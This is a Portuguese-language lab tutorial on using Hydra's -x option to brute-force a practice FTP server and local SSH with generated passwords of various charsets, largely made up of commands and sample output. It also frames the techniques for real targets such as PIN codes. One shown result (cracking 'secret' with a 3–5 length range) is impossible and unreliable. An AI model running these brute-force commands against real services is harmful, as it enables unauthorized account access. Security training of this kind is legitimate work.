Introdução
Neste laboratório, aprenderá a utilizar o Hydra para gerar senhas para ataques de força bruta utilizando diversas técnicas de geração de senhas. O foco será no uso da opção -x do Hydra para criar senhas com base em diferentes critérios, como comprimento, conjuntos de caracteres e padrões comuns de senhas.
O laboratório guiará você por vários cenários de geração de senhas, incluindo conjuntos de caracteres básicos, combinações mistas de caracteres, padrões numéricos e estruturas de senhas do mundo real. Você irá atacar um servidor FTP fictício em localhost para praticar essas técnicas e aprender a analisar eficazmente a saída de ataques de força bruta.
Gerar Senhas com a Opção -x
Neste passo, aprenderá a utilizar a opção -x no Hydra para gerar senhas com base num formato especificado. Isto é útil quando se tem alguma informação sobre a estrutura potencial da senha, como um intervalo de comprimento conhecido ou um conjunto de caracteres.
A opção -x do Hydra permite definir um comprimento mínimo e máximo para as senhas geradas, juntamente com um conjunto de caracteres a utilizar. A sintaxe é -x min:max:charset.
Comecemos com um exemplo simples. Irá gerar senhas com 6 a 8 caracteres de comprimento, utilizando apenas letras minúsculas.
Primeiro, certifique-se de que está no diretório ~/project. Este é o diretório padrão quando inicia o laboratório.
cd ~/project
Agora, utilizará o Hydra para gerar senhas. Para demonstração, irá atacar o serviço SSH no localhost. Isto permitirá ver a geração de senhas sem executar um ataque real (uma vez que estamos a utilizar um utilizador inexistente).
Execute o seguinte comando no terminal:
hydra -l testuser -vV -x 3:5:a-z localhost ssh
Vamos decompor este comando:
hydra: O comando para executar a ferramenta Hydra.-l testuser: Especifica o nome de utilizador a utilizar. Aqui está a usar "testuser" como um marcador (este utilizador provavelmente não existe).-vV: Habilita a saída detalhada, mostrando cada tentativa.-x 3:5:a-z: Esta é a parte chave. Indica ao Hydra para gerar senhas com:3: Comprimento mínimo de 3 caracteres.5: Comprimento máximo de 5 caracteres.a-z: Utilizar apenas letras minúsculas (a-z). Outras opções incluemA-Z(maiúsculas),0-9(dígitos), e pode combiná-las, por exemplo,a-zA-Z0-9para minúsculas, maiúsculas e dígitos.
localhost: O host alvo.ssh: O serviço SSH a atacar.
Verá o Hydra a tentar ligações com senhas geradas como "aaa", "aaaa", "aaaaa", "aab", e assim por diante. Quando utiliza a opção -x, o Hydra gera automaticamente senhas com base nos critérios especificados.
Nota: O número de combinações para senhas de 3 a 5 caracteres utilizando apenas letras minúsculas é gerenciável: 26³ + 26⁴ + 26⁵ = 17.576 + 456.976 + 11.881.376 ≈ 12,4 milhões de combinações, o que está dentro dos limites do Hydra.
Importante: Utilize
Ctrl+Cpara parar o ataque, pois levará muito tempo a completar.
A saída mostrará as senhas geradas à medida que o Hydra tenta conectar-se ao serviço SSH.
Hydra v[...] (c) 2023 by van Hauser / THCO
...
[ATTEMPT] target 127.0.0.1 - login "testuser" - pass "aaa" - 1 of 1 [child 0] (0/0)
[ATTEMPT] target 127.0.0.1 - login "testuser" - pass "aaaa" - 1 of 1 [child 0] (0/0)
[ATTEMPT] target 127.0.0.1 - login "testuser" - pass "aaaaa" - 1 of 1 [child 0] (0/0)
[ATTEMPT] target 127.0.0.1 - login "testuser" - pass "aab" - 1 of 1 [child 0] (0/0)
...
Limites de Combinação de Senhas:
Ao utilizar a opção -x do Hydra, é crucial considerar o número total de combinações de senhas que serão geradas. O Hydra tem um limite interno de 4 bilhões de senhas para evitar tentativas impraticáveis de força bruta.
Aqui estão alguns exemplos de contagens de combinações:
- 3-5 caracteres, apenas minúsculas (a-z): ~12,4 milhões de combinações ✓
- 4-6 caracteres, apenas minúsculas (a-z): ~321 milhões de combinações ✓
- 6-8 caracteres, apenas minúsculas (a-z): ~217 bilhões de combinações ✗ (excede o limite)
- 4-6 caracteres, alfanuméricos (a-zA-Z0-9): ~57 bilhões de combinações ✗ (excede o limite)
Calcule sempre o número de combinações antes de executar: tamanho_do_conjunto_de_caracteres^comprimento_mínimo + ... + tamanho_do_conjunto_de_caracteres^comprimento_máximo
Atacar FTP com Senhas Geradas
Neste passo, utilizará as capacidades de geração de senhas do Hydra para atacar um servidor FTP fictício. Utilizará uma lista de senhas gerada "na hora" com a opção -x.
Primeiro, precisa configurar um servidor FTP simples para testes. Utilizará python3-pyftpdlib, que é uma biblioteca de servidor FTP leve para Python.
Instale python3-pyftpdlib se ainda não estiver instalado:
sudo apt update
sudo apt install -y python3-pyftpdlib
Inicie o servidor FTP em segundo plano na porta 2121, servindo ficheiros do diretório ~/project. A opção -w permite acesso de escrita.
nohup python3 -m pyftpdlib -p 2121 -w -u testuser -P secret ~/project > /dev/null 2>&1 &
A parte nohup ... & executa o comando em segundo plano e impede que pare se fechar o terminal. > /dev/null 2>&1 redireciona a saída padrão e o erro padrão para /dev/null, mantendo o seu terminal limpo. As opções -u testuser -P secret configuram um utilizador com a senha "secret" que pode aceder ao servidor.
Agora, utilizará o Hydra para atacar este servidor FTP. Utilizará a opção -x para gerar senhas e tentar efetuar login como o utilizador "testuser".
Execute o seguinte comando no terminal:
hydra -l testuser -vV -x 4:6:a-z 127.0.0.1 ftp -s 2121
Vamos decompor este comando:
hydra: A ferramenta de linha de comandos Hydra.-l testuser: Especifica o nome de utilizador a utilizar: "testuser".-vV: Habilita a saída detalhada, mostrando cada tentativa de login.-x 4:6:a-z: Indica ao Hydra para gerar senhas com:4: Comprimento mínimo de 4 caracteres.6: Comprimento máximo de 6 caracteres.a-z: Utilizar apenas letras minúsculas (a-z).
127.0.0.1: O host alvo (localhost). Utiliza127.0.0.1em vez delocalhostpara evitar potenciais problemas de resolução de DNS dentro do contêiner.ftp: O serviço a atacar (FTP).-s 2121: Especifica o número da porta. Está a atacar o servidor FTP que está a correr na porta 2121.
Deverá ver o Hydra a tentar logins com senhas geradas. Uma vez que o servidor FTP está configurado com credenciais específicas (nome de utilizador: testuser, senha: secret), o Hydra encontrará a senha correta quando gerar "secret" durante as suas tentativas de força bruta.
Importante: Utilize
Ctrl+Cpara parar o ataque, pois levará algum tempo a completar.
A saída mostrará as tentativas de login e, eventualmente, uma mensagem de login bem-sucedido.
Hydra v[...] (c) 2023 by van Hauser / THCO
...
[ATTEMPT] target 127.0.0.1:2121 service ftp on device eth0 - login testuser password aaaa
[ATTEMPT] target 127.0.0.1:2121 service ftp on device eth0 - login testuser password aaab
...
[2121][ftp] host: 127.0.0.1 login: testuser password: secret
Agora, vamos tentar um exemplo ligeiramente mais complexo, combinando letras minúsculas e dígitos:
hydra -l testuser -vV -x 3:5:a-z0-9 127.0.0.1 ftp -s 2121
Isto irá gerar senhas como "aaa", "aab", "aac", e assim por diante, percorrendo sistematicamente todas as combinações de 3 caracteres primeiro, depois as combinações de 4 caracteres e, finalmente, as combinações de 5 caracteres. Observe a saída para ver as senhas geradas e o login bem-sucedido.
Hydra v[...] (c) 2023 by van Hauser / THCO
...
[ATTEMPT] target 127.0.0.1:2121 service ftp on device eth0 - login testuser password aaa
[ATTEMPT] target 127.0.0.1:2121 service ftp on device eth0 - login testuser password aab
...
[2121][ftp] host: 127.0.0.1 login: testuser password: secret
Este passo demonstrou como utilizar o Hydra com a opção -x para gerar senhas e atacar um servidor FTP. Lembre-se de utilizar estas técnicas de forma responsável e ética.
Geração de Senhas com Letras Maiúsculas e Minúsculas
Neste passo, aprenderá a gerar senhas utilizando letras maiúsculas e minúsculas. Este é um padrão comum de senhas utilizado por muitos utilizadores, tornando-o uma estratégia eficaz de força bruta.
Muitos utilizadores criam senhas com letras maiúsculas e minúsculas para cumprir os requisitos de complexidade das senhas. Compreender este padrão pode melhorar significativamente a taxa de sucesso da sua força bruta.
Certifique-se de que se encontra no diretório ~/project e que o seu servidor FTP ainda está a funcionar:
cd ~/project
Vamos gerar senhas utilizando letras maiúsculas e minúsculas. Execute o seguinte comando:
hydra -l testuser -vV -x 3:4:a-zA-Z 127.0.0.1 ftp -s 2121
Este comando gera senhas utilizando:
a-z: letras minúsculas (a-z)A-Z: letras maiúsculas (A-Z)
Verá senhas como "aaa", "Aaa", "aAa", "AAa", "aaA", "AaA", "aAA", "AAA", "aab", "Aab", etc. Note como o Hydra combina sistematicamente letras maiúsculas e minúsculas.
Vamos tentar o intervalo de 3 a 4 caracteres para ver o padrão mais claramente:
hydra -l testuser -vV -x 3:4:a-zA-Z 127.0.0.1 ftp -s 2121
Isto irá gerar senhas de 3 a 4 caracteres com maiúsculas e minúsculas. Pode observar como as combinações progridem:
- 3 caracteres: "aaa", "Aaa", "aAa", "AAa", "aaA", "AaA", "aAA", "AAA", "aab", "Aab", etc.
- 4 caracteres: "aaaa", "Aaaa", "aAaa", "AAaa", "aaaA", "AaaA", "aAaA", "AAaA", etc.
Compreendendo o Padrão:
A geração de senhas com maiúsculas e minúsculas segue uma abordagem sistemática em que o Hydra tenta todas as combinações possíveis de letras maiúsculas e minúsculas. Isto é particularmente eficaz porque:
- Muitas políticas de senhas exigem maiúsculas e minúsculas
- Os utilizadores frequentemente capitalizam a primeira letra ou letras aleatórias
- Padrões comuns incluem a capitalização da primeira letra das palavras
Este passo demonstrou como utilizar a geração de letras maiúsculas e minúsculas para ataques de força bruta, o que é eficaz contra senhas que utilizam letras maiúsculas e minúsculas.
Geração de Senhas Alfanuméricas
Neste passo, aprenderá a gerar senhas que combinam letras e números. As senhas alfanuméricas são extremamente comuns, pois equilibram segurança com memorização.
As senhas alfanuméricas são um dos tipos de senhas mais comuns porque:
- Cumprem a maioria dos requisitos de complexidade de senhas
- São mais fáceis de lembrar do que cadeias aleatórias puras
- São frequentemente utilizadas em ambientes corporativos
Vamos gerar senhas alfanuméricas usando o Hydra:
hydra -l testuser -vV -x 3:4:a-zA-Z0-9 127.0.0.1 ftp -s 2121
Isto gera senhas com:
a-z: letras minúsculas (a-z)A-Z: letras maiúsculas (A-Z)0-9: dígitos (0-9)
Exemplos de senhas geradas: "abc", "A2b", "123", "aB1", "Te1", etc.
Vamos tentar uma abordagem mais focada apenas com letras minúsculas e dígitos:
hydra -l testuser -vV -x 3:4:a-z0-9 127.0.0.1 ftp -s 2121
Isto irá gerar senhas como "aaa", "aa1", "a12", "123", "test", etc.
Padrões Alfanuméricos Comuns:
Os utilizadores frequentemente seguem padrões previsíveis ao criar senhas alfanuméricas:
- Palavra + números (ex.: "pass123")
- Números + palavra (ex.: "123pass")
- Alternância de letras e números (ex.: "a1b2")
Vamos simular um padrão onde os utilizadores podem usar combinações alfanuméricas curtas:
hydra -l testuser -vV -x 4:5:a-z0-9 127.0.0.1 ftp -s 2121
Este passo demonstrou como gerar senhas alfanuméricas, que são um dos tipos de senhas mais comuns em cenários do mundo real.
Geração de Senhas Apenas Numéricas
Neste passo, aprenderá a gerar senhas exclusivamente numéricas. Estas são comuns para códigos PIN, senhas simples e sistemas com requisitos apenas numéricos.
As senhas numéricas são frequentemente utilizadas em:
- Códigos PIN para dispositivos e contas
- Senhas simples para sistemas básicos
- Senhas temporárias
- Sistemas legados com requisitos apenas numéricos
Vamos gerar senhas numéricas:
hydra -l testuser -vV -x 3:6:0-9 127.0.0.1 ftp -s 2121
Isto gera senhas puramente numéricas como "123", "1234", "0000", "9999", "5678", etc.
Para senhas tipo PIN (tipicamente 4 a 6 dígitos), tente:
hydra -l testuser -vV -x 4:4:0-9 127.0.0.1 ftp -s 2121
Isto gera exatamente combinações de 4 dígitos que poderiam representar:
- Anos (1990, 2000, 2023, etc.)
- Códigos PIN comuns (1234, 0000, 1111, etc.)
- Anos de nascimento
- Datas significativas
Vamos tentar um padrão de 6 dígitos comum para PINs mais longos:
hydra -l testuser -vV -x 6:6:0-9 127.0.0.1 ftp -s 2121
Padrões Numéricos Comuns:
Os utilizadores frequentemente escolhem senhas numéricas previsíveis:
- Números sequenciais: 123456, 654321
- Dígitos repetidos: 111111, 000000
- Datas: anos de nascimento, ano atual
- Padrões simples: 121212, 123123
Aplicação no Mundo Real:
A geração de senhas numéricas é especialmente útil ao visar:
- Códigos PIN de dispositivos móveis
- Códigos PIN de caixas eletrônicos
- Senhas simples de sistemas
- Códigos de acesso temporários
Este passo demonstrou como gerar senhas numéricas, frequentemente utilizadas em muitos sistemas.
Geração de Senhas com Conjuntos de Caracteres Personalizados e Símbolos
Neste passo, aprenderá a criar conjuntos de caracteres personalizados que incluem símbolos específicos. Isto é útil quando sabe ou suspeita que o alvo utiliza certos caracteres especiais nas suas palavras-passe.
Muitas políticas de palavras-passe exigem caracteres especiais, e os utilizadores frequentemente escolhem símbolos comuns que são fáceis de digitar. Compreender quais os símbolos a incluir pode tornar os seus ataques de força bruta mais eficientes.
Vamos gerar palavras-passe com conjuntos de caracteres personalizados que incluem símbolos específicos:
hydra -l testuser -vV -x '3:4:a-z0-9!@#' 127.0.0.1 ftp -s 2121
Isto gera palavras-passe utilizando:
a-z: letras minúsculas (a-z)0-9: dígitos (0-9)!@#: símbolos específicos
Exemplos: "abc!", "a1@", "te#", "12!", etc.
Vamos tentar um conjunto diferente de símbolos comuns:
hydra -l testuser -vV -x '3:4:a-z$%&' 127.0.0.1 ftp -s 2121
Isto utiliza letras minúsculas e os símbolos $, %, &.
Para palavras-passe que podem incluir símbolos mais complexos:
hydra -l testuser -vV -x '3:4:a-zA-Z0-9!@#$%^&*' 127.0.0.1 ftp -s 2121
Isto cria um conjunto de caracteres abrangente com:
- Letras minúsculas e maiúsculas
- Dígitos
- Símbolos comuns: !@#$%^&*
Símbolos de Palavras-Passe Mais Comuns:
Com base na análise de palavras-passe, estes símbolos são os mais frequentemente utilizados:
!- Ponto de exclamação@- Símbolo arroba#- Símbolo de hash/libra$- Sinal de dólar%- Sinal de percentagem^- Acento circunflexo&- E comercial*- Asterisco
Seleção Estratégica de Símbolos:
Ao criar conjuntos de caracteres personalizados, considere:
- Acessibilidade do teclado (símbolos na linha numérica são comuns)
- Requisitos da política de palavras-passe
- Preferências culturais (alguns símbolos são mais comuns em certas regiões)
- Limitações do sistema (alguns sistemas não permitem certos símbolos)
Conjuntos de Símbolos Alvo:
Para cenários específicos, poderá utilizar conjuntos de símbolos alvo:
## Pontuação comum
hydra -l testuser -vV -x '3:4:a-z0-9.,;:' 127.0.0.1 ftp -s 2121
## Símbolos de colchetes
hydra -l testuser -vV -x '3:4:a-z0-9()[]{}' 127.0.0.1 ftp -s 2121
## Símbolos matemáticos
hydra -l testuser -vV -x '3:4:a-z0-9+-=/' 127.0.0.1 ftp -s 2121
Este passo demonstrou como criar conjuntos de caracteres personalizados com símbolos específicos, permitindo adaptar os seus ataques de força bruta com base em padrões de palavras-passe conhecidos ou suspeitos.
Resumo
Neste laboratório, aprendeu a utilizar o Hydra para gerar palavras-passe para ataques de força bruta através de uma abordagem passo-a-passo abrangente. Explorou a opção -x do Hydra em vários cenários específicos, cada um focado em técnicas de geração de palavras-passe específicas.
Praticou estratégias distintas de geração de palavras-passe, incluindo:
- Geração básica de palavras-passe: Compreensão da sintaxe da opção
-xe conceitos fundamentais - Cenários de ataque FTP: Aplicação da geração de palavras-passe contra serviços reais
- Letras maiúsculas e minúsculas mistas: Combinação de letras maiúsculas e minúsculas para padrões comuns de palavras-passe
- Palavras-passe alfanuméricas: Utilização de letras e números, o tipo de palavra-passe mais comum em cenários do mundo real
- Palavras-passe numéricas apenas: Alvo de códigos PIN e palavras-passe numéricas simples com alta eficiência de quebra
- Conjuntos de caracteres personalizados com símbolos: Criação de combinações de símbolos direcionadas com base em padrões de utilização comuns


